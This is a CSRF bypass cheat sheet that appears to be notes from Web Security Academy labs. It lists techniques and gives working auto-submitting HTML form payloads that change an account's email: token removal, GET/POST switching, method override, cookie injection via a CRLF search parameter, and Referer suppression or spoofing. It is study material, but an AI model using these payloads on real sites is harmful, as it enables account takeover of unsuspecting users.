csrf checklist

CSRF bybass methods

NO csrf token
weak csrf token
check content type
check referer header
chnage POST to GET or GET to post

CSRF token bybass methods

reomving ANI-csrf token
NO check for the users token
weak token
Reasuable token
change request method
Guessable token
Bybass referer

method attacks

remove referer header and send request and check response
remove original header and send request and check response
remove csrf token and send request and check response

Basic method no defenses

the request

POST /myaccount/changeemail
HOST:


email=....

the exploit

<form action="" method="POST">
<input type="hidden" name="email" value="">
</form>
<script>
 document.forms[0].submit();
</script>

CSRF where token validation depends on token being present

the request

POST /myaccount/changeemail
HOST:


email=....&csrftoken=.....

TIPS: reomve the csrf token -THE exploit

<form action="" method="POST">
<input type="hidden" name="email" value="">
</form>
<script>
 document.forms[0].submit();
</script>

CSRF where token validation depends on request method

the request

POST /myaccount/changeemail
HOST:


email=....&csrftoken=.....

TIPS: reomve the csrf token
Tips: change request TO GET in CSRF payloads -THE exploit

<form action="" method="GET">
<input type="hidden" name="email" value="">
</form>
<script>
 document.forms[0].submit();
</script>

CSRF where token is not tied to user session

steps 1- create two accounts 2- go to the first account and change email we will change 3- go to second account and try intersept change email then drop request , copy the csrf token 4- go to the first account and put csrf token(second account) and try change email is valid or not

csrf bypass via method override

<html>
<body>
   <script>history.pushState(' ', ' ' ,'/')</script>
   <form action="" method="GET">
   <input type="hidden" name="_method" value="POST">
   <input type="hidden" name="email" value="">
   </form>
   <script>
   document.forms[0].submit();
   </script>
</body>
</html>

<html>
<body>
   <script>history.pushState(' ',' ','/')</script>
   <form action="https://0a6a006c04de5fc7829147ec00750057.web-security-academy.net/my-account/change-email" method="POST"/>
   <input type="hidden" name="email" value="a@gmail.com"/>
   <input type="hidden" name="csrf" value="fake"/>
   <input type="submit" value="submit request"/>
   </form>
   <img src="https://0a6a006c04de5fc7829147ec00750057.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
   </body>
</html>

CSRF where Referer validation depends on header being present

<html>
<head>
   <meta name="referrer" content="no-referrer" >
</head>
<body>
   <script>history.pushState(' ', ' ' ,'/')</script>
   <form action="https://0a390078039fe0a780e435a600ca0059.web-security-academy.net/my-account/change-email" method="POST">
   <input type="hidden" name="email" value="a@gmail.com">
   <input type="submit" value="submit" >
   </form>
   <script>
   document.forms[0].submit();
   </script>
</body>
</html>

CSRF with broken Referer validation

<html>
<body>
   <script>history.pushState(' ', ' ' ,'/?0ad4003504bb812580aae57c00c40072.web-security-academy.net')</script>
   <form action="https://0ad4003504bb812580aae57c00c40072.web-security-academy.net/my-account/change-email" method="POST">
   <input type="hidden" name="email" value="a@gmail.com">
   <input type="submit" value="submit" >
   </form>
   <script>
   document.forms[0].submit();
   </script>
</body>
</html>

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Last updated 1 year ago

CSRF bybass methods

CSRF token bybass methods

method attacks

Basic method no defenses

CSRF where token validation depends on token being present

CSRF where token validation depends on request method

CSRF where token is not tied to user session

csrf bypass via method override

CSRF where token is duplicated in cookie

CSRF where Referer validation depends on header being present

CSRF with broken Referer validation